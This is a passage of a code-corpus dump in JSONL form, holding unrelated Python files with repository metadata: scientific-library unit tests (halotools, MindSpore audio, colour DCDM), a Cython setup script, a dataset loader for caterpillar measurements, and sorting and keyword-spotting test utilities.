name\"\n    assert substr in err.value.args[0]\n\n\ndef test_bind_default_kwarg_mixin_safe():\n\n    class DummyClass(object):\n\n        def __init__(self, d):\n            self.abc = 4\n\n    constructor_kwargs = {'abc': 10}\n    obj = DummyClass(constructor_kwargs)\n    keyword_argument = 'abc'\n    default_value = 0\n\n    with pytest.raises(HalotoolsError) as err:\n        __ = bind_default_kwarg_mixin_safe(\n            obj, keyword_argument, constructor_kwargs, default_value)\n    substr = \"Do not pass the  ``abc`` keyword argument \"\n    assert substr in err.value.args[0]\n\n\ndef test_bounds_enforcing_decorator_factory():\n    \"\"\"\n    \"\"\"\n    def f(x):\n        return x\n    decorator = bounds_enforcing_decorator_factory(0, 1, warning=True)\n    decorated_f = decorator(f)\n    result = decorated_f(-1)\n    assert result == 0\n\n\ndef test_enforce_periodicity_of_box():\n    \"\"\" Verify that enforce_periodicity_of_box results in all points located\n    inside [0, Lbox]\n    \"\"\"\n\n    box_length = 250\n    Npts = int(1e5)\n    with NumpyRNGContext(fixed_seed):\n        coords = np.random.uniform(0, box_length, Npts*3).reshape(Npts, 3)\n\n    perturbation_size = box_length/10.\n    with NumpyRNGContext(fixed_seed):\n        coord_perturbations = np.random.uniform(\n            -perturbation_size, perturbation_size, Npts*3).reshape(Npts, 3)\n\n    coords += coord_perturbations\n\n    newcoords = enforce_periodicity_of_box(coords, box_length)\n    assert np.all(newcoords >= 0)\n    assert np.all(newcoords <= box_length)\n\n\ndef test_check_multiple_box_lengths():\n    \"\"\" Verify that enforce_periodicity_of_box function notices when the\n    some points lie many box lengths beyond +/- Lbox\n    \"\"\"\n    box_length = 250\n    Npts = int(1e4)\n\n    x = np.linspace(-2*box_length, box_length, Npts)\n    with pytest.raises(HalotoolsError) as err:\n        newcoords = enforce_periodicity_of_box(x, box_length,\n            check_multiple_box_lengths=True)\n    substr = \"There is at least one input point with a coordinate less than -Lbox\"\n    assert substr in err.value.args[0]\n\n    x = np.linspace(-box_length, 2.1*box_length, Npts)\n    with pytest.raises(HalotoolsError) as err:\n        newcoords = enforce_periodicity_of_box(x, box_length,\n            check_multiple_box_lengths=True)\n    substr = \"There is at least one input point with a coordinate greater than 2*Lbox\"\n    assert substr in err.value.args[0]\n\n    x = np.linspace(-box_length, 2*box_length, Npts)\n    newcoords = enforce_periodicity_of_box(x, box_length,\n        check_multiple_box_lengths=True)\n\n\ndef test_velocity_flip():\n    \"\"\" Verify that enforce_periodicity_of_box function flips the sign of\n    the velocity for points where PBCs needed to be enforced\n    \"\"\"\n    box_length = 250\n    Npts = int(1e4)\n\n    x = np.linspace(-0.5*box_length, 1.5*box_length, Npts)\n    vx = np.ones(Npts)\n\n    newcoords, newvel = enforce_periodicity_of_box(\n        x, box_length, velocity=vx)\n\n    inbox = ((x >= 0) & (x <= box_length))\n    assert np.all(newvel[inbox] == 1.0)\n    assert np.all(newvel[~inbox] == -1.0)\n\n\ndef test_call_func_table1():\n\n    num_conc_bins = 5\n    f_table = list(_func_maker(i) for i in range(num_conc_bins))\n\n    num_abscissa = 7\n    cum_prob = np.array(list(0.1*i for i in range(num_abscissa)))\n\n    func_idx = np.zeros(num_abscissa)\n    correct_result = cum_prob\n    result = call_func_table(f_table, cum_prob, func_idx)\n    assert np.all(result == correct_result)\n\n\ndef test_call_func_table2():\n\n    num_conc_bins = 5\n    f_table = list(_func_maker(i) for i in range(num_conc_bins))\n\n    num_abscissa = 7\n    cum_prob = np.array(list(0.1*i for i in range(num_abscissa)))\n\n    func_idx = np.zeros(num_abscissa) + 3\n    func_idx[2:] = 0\n    correct_result = np.zeros(num_abscissa)\n    correct_result[:2] = cum_prob[:2] + 3\n    correct_result[2:] = cum_prob[2:]\n\n    result = call_func_table(f_table, cum_prob, func_idx)\n\n    assert np.all(result == correct_result)\n\n\ndef test_call_func_table3():\n    pass\n", "meta": {"hexsha": "868996301e3116f529f01b3b33d7bcf4371e7411", "size": 5708, "ext": "py", "lang": "Python", "max_stars_repo_path": "halotools/empirical_models/tests/test_model_helpers.py", "max_stars_repo_name": "mclaughlin6464/halotools_old", "max_stars_repo_head_hexsha": "96fbdf5fc156160f19ccd4ae3ee964f831d26fa6", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "halotools/empirical_models/tests/test_model_helpers.py", "max_issues_repo_name": "mclaughlin6464/halotools_old", "max_issues_repo_head_hexsha": "96fbdf5fc156160f19ccd4ae3ee964f831d26fa6", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "halotools/empirical_models/tests/test_model_helpers.py", "max_forks_repo_name": "mclaughlin6464/halotools_old", "max_forks_repo_head_hexsha": "96fbdf5fc156160f19ccd4ae3ee964f831d26fa6", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.7291666667, "max_line_length": 90, "alphanum_fraction": 0.6965662228, "include": true, "reason": "import numpy,from astropy", "num_tokens": 1547, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326183324442865, "lm_q2_score": 0.11920293140927593, "lm_q1q2_score": 0.054030139218678296}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n@author: Barbara Ikica\n\"\"\"\n\nfrom distutils.core import setup, Extension\nfrom Cython.Build import cythonize\nimport numpy\n \nsetup(\n    ext_modules = cythonize(Extension(\"mPW\", sources=[\"mPW.pyx\"], language=\"c++\"),\n    compiler_directives={'language_level' : 3}),\n    include_dirs=[numpy.get_include()]\n)\n\n#python setup.py build_ext --inplace\n#cython -a mPW.pyx", "meta": {"hexsha": "cf035586fa0771057622443254a99b727fbd4f4f", "size": 386, "ext": "py", "lang": "Python", "max_stars_repo_path": "setup.py", "max_stars_repo_name": "ikicab/mPW", "max_stars_repo_head_hexsha": "8d9920a424fbf92b5cbefaa54e62ce2812a83f5d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "setup.py", "max_issues_repo_name": "ikicab/mPW", "max_issues_repo_head_hexsha": "8d9920a424fbf92b5cbefaa54e62ce2812a83f5d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "setup.py", "max_forks_repo_name": "ikicab/mPW", "max_forks_repo_head_hexsha": "8d9920a424fbf92b5cbefaa54e62ce2812a83f5d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.7058823529, "max_line_length": 82, "alphanum_fraction": 0.6968911917, "include": true, "reason": "import numpy", "num_tokens": 104, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.11596071672639166, "lm_q1q2_score": 0.05391031942368385}}
{"text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport csv\nimport numpy as np\nimport os\nimport sys\n\nfrom observations.util import maybe_download_and_extract\n\n\ndef caterpillars(path):\n  \"\"\"Caterpillars\n\n  Measurements on a sample of Manduca Sexta caterpillars\n\n  A dataset with 267 observations on the following 18 variables.\n\n  `Instar`\n\n  Coded from 1 (smallest) to 5 (largest) indicating stage of the\n  caterpillar's life\n\n  `ActiveFeeding`\n\n  Indicator (`Y` or `N`) of whether or not the animal is actively\n  feeding\n\n  `Fgp`\n\n  Indicator (`Y` or `N`) of whether or not the animal is in a free\n  growth period\n\n  `Mgp`\n\n  Indicator (`Y` or `N`) of whether or not the animal is in a maximum\n  growth period\n\n  `Mass`\n\n  Body mass (in grams)\n\n  `LogMass`\n\n  Log (base 10) of body mass\n\n  `Intake`\n\n  Wet food intake (in grams/day)\n\n  `LogIntake`\n\n  Log (base 10) of Intake\n\n  `WetFrass`\n\n  Amount of frass (solid waste) produced (in grams/day)\n\n  `LogWetFrass`\n\n  Log (base 10) of WetFrass\n\n  `DryFrass`\n\n  Amount of frass, after drying, produced (in grams/day)\n\n  `LogDryFrass`\n\n  Log (base 10) of DryFrass\n\n  `Cassim`\n\n  CO2 assimilation (ingestion - excretion)\n\n  `LogCassim`\n\n  Log (base 10) of Cassim\n\n  `Nfrass`\n\n  Nitrogen in frass\n\n  `LogNfrass`\n\n  Log (base 10) of Nfrass\n\n  `Nassim`\n\n  Nitrogen assimilation (ingestion - excretion)\n\n  `LogNassim`\n\n  Log (base 10) of Nassim\n\n  We thank Professors Harry Itagaki, Drew Kerkhoff, Chris Gillen, and Judy\n  Holdener and their students for sharing this data from research\n\n  Args:\n\n    path: str.\n      Path to directory which either stores file or otherwise file will\n      be downloaded and extracted there.\n      Filename is `caterpillars.csv`.\n\n  Returns:\n\n    Tuple of np.ndarray `x_train` with 267 rows and 18 columns and\n    dictionary `metadata` of column headers (feature names).\n  \"\"\"\n  import pandas as pd\n  path = os.path.expanduser(path)\n  filename = 'caterpillars.csv'\n  if not os.path.exists(os.path.join(path, filename)):\n    url = 'http://dustintran.com/data/r/Stat2Data/Caterpillars.csv'\n    maybe_download_and_extract(path, url,\n                               save_file_name='caterpillars.csv',\n                               resume=False)\n\n  data = pd.read_csv(os.path.join(path, filename), index_col=0,\n                     parse_dates=True)\n  x_train = data.values\n  metadata = {'columns': data.columns}\n  return x_train, metadata\n", "meta": {"hexsha": "13356474ec54ce8716959f4e1e265dd189e292ea", "size": 2494, "ext": "py", "lang": "Python", "max_stars_repo_path": "observations/r/caterpillars.py", "max_stars_repo_name": "hajime9652/observations", "max_stars_repo_head_hexsha": "2c8b1ac31025938cb17762e540f2f592e302d5de", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 199, "max_stars_repo_stars_event_min_datetime": "2017-07-24T01:34:27.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-29T00:50:55.000Z", "max_issues_repo_path": "observations/r/caterpillars.py", "max_issues_repo_name": "hajime9652/observations", "max_issues_repo_head_hexsha": "2c8b1ac31025938cb17762e540f2f592e302d5de", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 46, "max_issues_repo_issues_event_min_datetime": "2017-09-05T19:27:20.000Z", "max_issues_repo_issues_event_max_datetime": "2019-01-07T09:47:26.000Z", "max_forks_repo_path": "observations/r/caterpillars.py", "max_forks_repo_name": "hajime9652/observations", "max_forks_repo_head_hexsha": "2c8b1ac31025938cb17762e540f2f592e302d5de", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 45, "max_forks_repo_forks_event_min_datetime": "2017-07-26T00:10:44.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-16T20:44:59.000Z", "avg_line_length": 19.7936507937, "max_line_length": 74, "alphanum_fraction": 0.6868484362, "include": true, "reason": "import numpy", "num_tokens": 698, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.11124121240045179, "lm_q1q2_score": 0.053883027837604756}}
{"text": "# Copyright 2022 Huawei Technologies Co., Ltd\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n# ==============================================================================\r\nimport copy\r\nimport numpy as np\r\nimport pytest\r\n\r\nimport mindspore.dataset as ds\r\nimport mindspore.dataset.audio.transforms as audio\r\nfrom mindspore import log as logger\r\n\r\nBATCH = 2\r\nCHANNEL = 2\r\nFREQ = 10\r\nTIME = 10\r\n\r\n\r\ndef allclose_nparray(data_expected, data_me, rtol, atol, equal_nan=True):\r\n    \"\"\"\r\n    Precision calculation formula\r\n    \"\"\"\r\n    if np.any(np.isnan(data_expected)):\r\n        assert np.allclose(data_me, data_expected, rtol, atol, equal_nan=equal_nan)\r\n    elif not np.allclose(data_me, data_expected, rtol, atol, equal_nan=equal_nan):\r\n        count_unequal_element(data_expected, data_me, rtol, atol)\r\n\r\n\r\ndef count_unequal_element(data_expected, data_me, rtol, atol):\r\n    \"\"\"\r\n    Precision calculation func\r\n    \"\"\"\r\n    assert data_expected.shape == data_me.shape\r\n    total_count = len(data_expected.flatten())\r\n    error = np.abs(data_expected - data_me)\r\n    greater = np.greater(error, atol + np.abs(data_expected) * rtol)\r\n    loss_count = np.count_nonzero(greater)\r\n    assert (loss_count / total_count) < rtol, \"\\ndata_expected_std:{0}\\ndata_me_error:{1}\\nloss:{2}\".format(\r\n        data_expected[greater], data_me[greater], error[greater])\r\n\r\n\r\ndef gen(shape):\r\n    np.random.seed(0)\r\n    data = np.random.random(shape)\r\n    yield (np.array(data, dtype=np.float32),)\r\n\r\n\r\ndef test_mask_along_axis_iid_eager():\r\n    \"\"\"\r\n    Feature: MaskAlongAxisIID\r\n    Description: mindspore eager mode with normal testcase\r\n    Expectation: the returned result is as expected\r\n    \"\"\"\r\n    logger.info(\"test MaskAlongAxisIID op, eager\")\r\n    spectrogram_01 = next(gen((BATCH, CHANNEL, FREQ, TIME)))[0]\r\n    output_01 = audio.MaskAlongAxisIID(mask_param=8, mask_value=5.0, axis=1)(spectrogram_01)\r\n    assert output_01.shape == (BATCH, CHANNEL, FREQ, TIME)\r\n\r\n    spectrogram_02 = next(gen((BATCH, CHANNEL, FREQ, TIME)))[0]\r\n    expect_output = copy.deepcopy(spectrogram_02)\r\n    output_02 = audio.MaskAlongAxisIID(mask_param=0, mask_value=5.0, axis=1)(spectrogram_02)\r\n    allclose_nparray(output_02, expect_output, 0.0001, 0.0001)\r\n\r\n\r\ndef test_mask_along_axis_iid_pipeline():\r\n    \"\"\"\r\n    Feature: MaskAlongAxisIID\r\n    Description: mindspore pipeline mode with normal testcase\r\n    Expectation: the returned result is as expected\r\n    \"\"\"\r\n    logger.info(\"test MaskAlongAxisIID op, pipeline\")\r\n\r\n    generator = gen([BATCH, CHANNEL, FREQ, TIME])\r\n    data1 = ds.GeneratorDataset(source=generator, column_names=[\"multi_dimensional_data\"])\r\n\r\n    transforms = [audio.MaskAlongAxisIID(mask_param=8, mask_value=5.0, axis=2)]\r\n    data1 = data1.map(operations=transforms, input_columns=[\"multi_dimensional_data\"])\r\n\r\n    for item in data1.create_dict_iterator(num_epochs=1, output_numpy=True):\r\n        out_put = item[\"multi_dimensional_data\"]\r\n    assert out_put.shape == (BATCH, CHANNEL, FREQ, TIME)\r\n\r\n\r\ndef test_mask_along_axis_iid_invalid_input():\r\n    \"\"\"\r\n    Feature: MaskAlongAxisIID\r\n    Description: mindspore eager mode with invalid input\r\n    Expectation: the returned result is as expected\r\n    \"\"\"\r\n    def test_invalid_param(test_name, mask_param, mask_value, axis, error, error_msg):\r\n        \"\"\"\r\n        a function used for checking correct error and message\r\n        \"\"\"\r\n        logger.info(\"Test MaskAlongAxisIID with wrong params: {0}\".format(test_name))\r\n        with pytest.raises(error) as error_info:\r\n            audio.MaskAlongAxisIID(mask_param, mask_value, axis)\r\n        assert error_msg in str(error_info.value)\r\n\r\n    test_invalid_param(\"invalid mask_param\", 1.0, 1.0, 1, TypeError,\r\n                       \"Argument mask_param with value 1.0 is not of type [<class 'int'>], but got <class 'float'>.\")\r\n    test_invalid_param(\"invalid mask_param\", -1, 1.0, 1, ValueError,\r\n                       \"Input mask_param is not within the required interval of [0, 2147483647].\")\r\n    test_invalid_param(\"invalid axis\", 5, 1.0, 5.0, TypeError,\r\n                       \"Argument axis with value 5.0 is not of type [<class 'int'>], but got <class 'float'>.\")\r\n    test_invalid_param(\"invalid axis\", 5, 1.0, 0, ValueError,\r\n                       \"Input axis is not within the required interval of [1, 2].\")\r\n    test_invalid_param(\"invalid axis\", 5, 1.0, 3, ValueError,\r\n                       \"Input axis is not within the required interval of [1, 2].\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    test_mask_along_axis_iid_eager()\r\n    test_mask_along_axis_iid_invalid_input()\r\n    test_mask_along_axis_iid_pipeline()\r\n", "meta": {"hexsha": "6a3f4d36592bd9d819c94e4d0ad7a4f3d7717139", "size": 5145, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/ut/python/dataset/test_mask_along_axis_iid.py", "max_stars_repo_name": "zhz44/mindspore", "max_stars_repo_head_hexsha": "6044d34074c8505dd4b02c0a05419cbc32a43f86", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-05T02:59:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T02:59:21.000Z", "max_issues_repo_path": "tests/ut/python/dataset/test_mask_along_axis_iid.py", "max_issues_repo_name": "zhz44/mindspore", "max_issues_repo_head_hexsha": "6044d34074c8505dd4b02c0a05419cbc32a43f86", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/ut/python/dataset/test_mask_along_axis_iid.py", "max_forks_repo_name": "zhz44/mindspore", "max_forks_repo_head_hexsha": "6044d34074c8505dd4b02c0a05419cbc32a43f86", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.16, "max_line_length": 118, "alphanum_fraction": 0.6791059281, "include": true, "reason": "import numpy", "num_tokens": 1270, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.11124119619495342, "lm_q1q2_score": 0.05388301998798409}}
{"text": "#!/usr/bin/env python\r\n# -*-coding:utf-8-*-\r\n\r\nimport pytest\r\nfrom my_python_module.algorithm.select_sort import select_sort, select_sort2\r\n\r\n\r\ndef test_selection_sort2():\r\n    assert select_sort2([1, 2, 4, 5, 22, 6, 23]) == [1, 2, 4, 5, 6, 22, 23]\r\n\r\n\r\ndef test_selection_sort():\r\n    assert select_sort([1, 2, 4, 5, 22, 6, 23]) == [1, 2, 4, 5, 6, 22, 23]\r\n\r\n\r\n@pytest.mark.skip(reason=\"i have test it\")\r\ndef test_section_timeit():\r\n    import numpy as np\r\n    data = np.random.randn(10000)\r\n    seq = list(data)\r\n    import time\r\n\r\n    t1 = time.time()\r\n\r\n    select_sort2(seq)\r\n    t2 = time.time()\r\n\r\n    select_sort(seq)\r\n    t3 = time.time()\r\n    print('select_sort use time {0}'.format(t3 - t2))\r\n\r\n    print('select_sort2 use time {0}'.format(t2 - t1))\r\n", "meta": {"hexsha": "593a598676bbed02c52c540fa7604996e300a138", "size": 762, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/algorithm/test_select_sort.py", "max_stars_repo_name": "a358003542/wanze_python_project", "max_stars_repo_head_hexsha": "db52515af80319000e9a47a7b02f3ccd2cf46afd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-10-30T08:54:22.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-30T08:54:22.000Z", "max_issues_repo_path": "tests/algorithm/test_select_sort.py", "max_issues_repo_name": "a358003542/wanze_python_project", "max_issues_repo_head_hexsha": "db52515af80319000e9a47a7b02f3ccd2cf46afd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/algorithm/test_select_sort.py", "max_forks_repo_name": "a358003542/wanze_python_project", "max_forks_repo_head_hexsha": "db52515af80319000e9a47a7b02f3ccd2cf46afd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.0909090909, "max_line_length": 77, "alphanum_fraction": 0.6049868766, "include": true, "reason": "import numpy", "num_tokens": 249, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3451052709578724, "lm_q2_score": 0.1561049033345227, "lm_q1q2_score": 0.05387262496311294}}
{"text": "# coding=utf-8\r\n# Copyright 2020 The Google Research Authors.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n#     http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\n\"\"\"Util functions used for testing.\"\"\"\r\n\r\nimport numpy as np\r\nfrom kws_streaming.layers import dataframe\r\nfrom kws_streaming.layers.compat import tf\r\nfrom kws_streaming.layers.modes import Modes\r\n\r\n\r\ndef get_test_batch_features_and_labels_numpy(input_shape=None,\r\n                                             output_shape=None):\r\n  \"\"\"Returns an example of inputs and labels based on the input shape.\r\n\r\n\r\n  (Hint: For SVDF layers, the shapes would normally be  of format [2, 7, _])\r\n\r\n  Args:\r\n    input_shape: The dimentionality of the input. (ex: [2,7,5])\r\n    output_shape: The dimentionality of the output. (ex: [2,7,2])\r\n  \"\"\"\r\n  if input_shape is None:\r\n    input_shape = [2, 7, 5]\r\n\r\n  if output_shape is None:\r\n    output_shape = [2, 7, 2]\r\n\r\n  input_values = np.arange(\r\n      np.prod(input_shape), dtype=np.float32) / np.prod(input_shape)\r\n  output_values = np.arange(\r\n      np.prod(output_shape), dtype=np.float32) / np.prod(output_shape)\r\n  return input_values.reshape(input_shape), output_values.reshape(output_shape)\r\n\r\n\r\ndef _get_test_svdf_cell_weights():\r\n  \"\"\"Returns weights for an SvdfCell with following params.\r\n\r\n    (units=4, memory_size=3, rank=1, output_projection_dim=2, use_bias=True).\r\n  \"\"\"\r\n  return [\r\n      np.array([[-0.31614766, 0.37929568, 0.27584907, -0.36453721],\r\n                [-0.35801932, 0.22514193, 0.27241215, -0.06950231],\r\n                [0.01112892, 0.12732419, 0.38735834, -0.10957076],\r\n                [-0.09451947, 0.15611194, 0.39319292, -0.03019224],\r\n                [0.39612538, 0.16101542, 0.21615031, 0.30737072]],\r\n               dtype=np.float32),\r\n      np.array([[-0.31614769, 0.37929571, 0.27584907, -0.36453718],\r\n                [-0.35801938, 0.22514194, 0.27241215, -0.06950228],\r\n                [0.01112869, 0.12732419, 0.38735834, -0.10957073]],\r\n               dtype=np.float32),\r\n      np.array([-0.00316226, 0.00316225, -0.00316227, 0.00316227],\r\n               dtype=np.float32),\r\n      np.array([[-0.31614763, 0.37929574], [0.2821736, -0.35821268],\r\n                [-0.35801929, 0.22514199], [0.27873668, -0.06317782]],\r\n               dtype=np.float32),\r\n      np.array([0.00316228, 0.00316227], dtype=np.float32)\r\n  ]\r\n\r\n\r\nclass TestBase(tf.test.TestCase):\r\n  \"\"\"Base class for dense, depthwise conv, svdf layers testing.\"\"\"\r\n\r\n  def setUp(self):\r\n    super(TestBase, self).setUp()\r\n    self.memory_size = 3\r\n    self.batch_size = 2\r\n    self.input_data, self.input_labels = (\r\n        get_test_batch_features_and_labels_numpy())\r\n    self.weights = _get_test_svdf_cell_weights()\r\n\r\n\r\nclass FrameTestBase(tf.test.TestCase):\r\n  \"\"\"Base class for data frame testing.\"\"\"\r\n\r\n  def setUp(self):\r\n    super(FrameTestBase, self).setUp()\r\n\r\n    self.frame_size = 7\r\n    self.frame_step = 5\r\n    self.inference_batch_size = 1\r\n\r\n    # generate input signal\r\n    np.random.seed(1)\r\n    self.data_size = 33\r\n    self.signal = np.random.rand(self.inference_batch_size, self.data_size)\r\n\r\n    # non streaming frame extraction based on tf.signal.frame\r\n    data_frame_tf = dataframe.DataFrame(\r\n        mode=Modes.TRAINING,\r\n        inference_batch_size=self.inference_batch_size,\r\n        frame_size=self.frame_size,\r\n        frame_step=self.frame_step)\r\n    # it receives all data with size: data_size\r\n    input1 = tf.keras.layers.Input(\r\n        shape=(self.data_size,),\r\n        batch_size=self.inference_batch_size,\r\n        dtype=tf.float32)\r\n    output1 = data_frame_tf(inputs=input1)\r\n    self.model_tf = tf.keras.models.Model(input1, output1)\r\n\r\n    # generate frames for the whole signal (no streaming here)\r\n    self.output_frames_tf = self.model_tf.predict(self.signal)\r\n", "meta": {"hexsha": "a132809f63035a4e82e5a4e29e30f30fbaa631d3", "size": 4274, "ext": "py", "lang": "Python", "max_stars_repo_path": "kws_streaming/layers/test_utils.py", "max_stars_repo_name": "thotnd173389/SpeechCommand", "max_stars_repo_head_hexsha": "e9090ce69ee8798d0b579871d37c255d94f50212", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2020-04-17T14:31:08.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-13T11:24:06.000Z", "max_issues_repo_path": "kws_streaming/layers/test_utils.py", "max_issues_repo_name": "thotnd173389/SpeechCommand", "max_issues_repo_head_hexsha": "e9090ce69ee8798d0b579871d37c255d94f50212", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2020-11-13T18:46:26.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-10T01:20:59.000Z", "max_forks_repo_path": "kws_streaming/layers/test_utils.py", "max_forks_repo_name": "thotnd173389/SpeechCommand", "max_forks_repo_head_hexsha": "e9090ce69ee8798d0b579871d37c255d94f50212", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2020-05-18T09:35:59.000Z", "max_forks_repo_forks_event_max_datetime": "2020-11-05T08:11:37.000Z", "avg_line_length": 36.8448275862, "max_line_length": 80, "alphanum_fraction": 0.6574637342, "include": true, "reason": "import numpy", "num_tokens": 1152, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.12085323407368521, "lm_q1q2_score": 0.05384368518487762}}
{"text": "\"\"\"\nDefines the unit tests for the :mod:`colour.models.rgb.transfer_functions.dcdm`\nmodule.\n\"\"\"\n\nimport numpy as np\nimport unittest\n\nfrom colour.models.rgb.transfer_functions import eotf_inverse_DCDM, eotf_DCDM\nfrom colour.utilities import domain_range_scale, ignore_numpy_errors\n\n__author__ = \"Colour Developers\"\n__copyright__ = \"Copyright 2013 Colour Developers\"\n__license__ = \"New BSD License - https://opensource.org/licenses/BSD-3-Clause\"\n__maintainer__ = \"Colour Developers\"\n__email__ = \"colour-developers@colour-science.org\"\n__status__ = \"Production\"\n\n__all__ = [\n    \"TestEotf_inverse_DCDM\",\n    \"TestEotf_DCDM\",\n]\n\n\nclass TestEotf_inverse_DCDM(unittest.TestCase):\n    \"\"\"\n    Define :func:`colour.models.rgb.transfer_functions.dcdm.eotf_inverse_DCDM`\n    definition unit tests methods.\n    \"\"\"\n\n    def test_eotf_inverse_DCDM(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.\\\ndcdm.eotf_inverse_DCDM` definition.\n        \"\"\"\n\n        self.assertAlmostEqual(eotf_inverse_DCDM(0.0), 0.0, places=7)\n\n        self.assertAlmostEqual(eotf_inverse_DCDM(0.18), 0.11281861, places=7)\n\n        self.assertAlmostEqual(eotf_inverse_DCDM(1.0), 0.21817973, places=7)\n\n        self.assertEqual(eotf_inverse_DCDM(0.18, out_int=True), 462)\n\n    def test_n_dimensional_eotf_inverse_DCDM(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.dcdm.\\\neotf_inverse_DCDM` definition n-dimensional arrays support.\n        \"\"\"\n\n        XYZ = 0.18\n        XYZ_p = eotf_inverse_DCDM(XYZ)\n\n        XYZ = np.tile(XYZ, 6)\n        XYZ_p = np.tile(XYZ_p, 6)\n        np.testing.assert_almost_equal(\n            eotf_inverse_DCDM(XYZ), XYZ_p, decimal=7\n        )\n\n        XYZ = np.reshape(XYZ, (2, 3))\n        XYZ_p = np.reshape(XYZ_p, (2, 3))\n        np.testing.assert_almost_equal(\n            eotf_inverse_DCDM(XYZ), XYZ_p, decimal=7\n        )\n\n        XYZ = np.reshape(XYZ, (2, 3, 1))\n        XYZ_p = np.reshape(XYZ_p, (2, 3, 1))\n        np.testing.assert_almost_equal(\n            eotf_inverse_DCDM(XYZ), XYZ_p, decimal=7\n        )\n\n    def test_domain_range_scale_eotf_inverse_DCDM(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.\\\ndcdm.eotf_inverse_DCDM` definition domain and range scale support.\n        \"\"\"\n\n        XYZ = 0.18\n        XYZ_p = eotf_inverse_DCDM(XYZ)\n\n        d_r = ((\"reference\", 1), (\"1\", 1), (\"100\", 1))\n        for scale, factor in d_r:\n            with domain_range_scale(scale):\n                np.testing.assert_almost_equal(\n                    eotf_inverse_DCDM(XYZ * factor), XYZ_p * factor, decimal=7\n                )\n\n    @ignore_numpy_errors\n    def test_nan_eotf_inverse_DCDM(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.dcdm.\\\neotf_inverse_DCDM` definition nan 